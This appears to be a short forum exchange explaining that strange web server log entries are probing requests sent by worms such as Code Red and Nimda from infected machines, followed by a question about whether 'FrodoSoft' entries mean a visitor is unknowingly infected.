They are requests for scripts and stuff that are common security problems. With some installations of webservers, you can break into the system by requesting cleverly formed web pages from the server. Usually, an automated virus or worm makes these requests from a machine that has already been compromised.

Search around for pages on things like "code red" or "nimda" for examples.

Does the FrodoSoft entries (FrodoSoft is a virus) mean that the person accessing the website may have it on his operating system and not know he is infected?
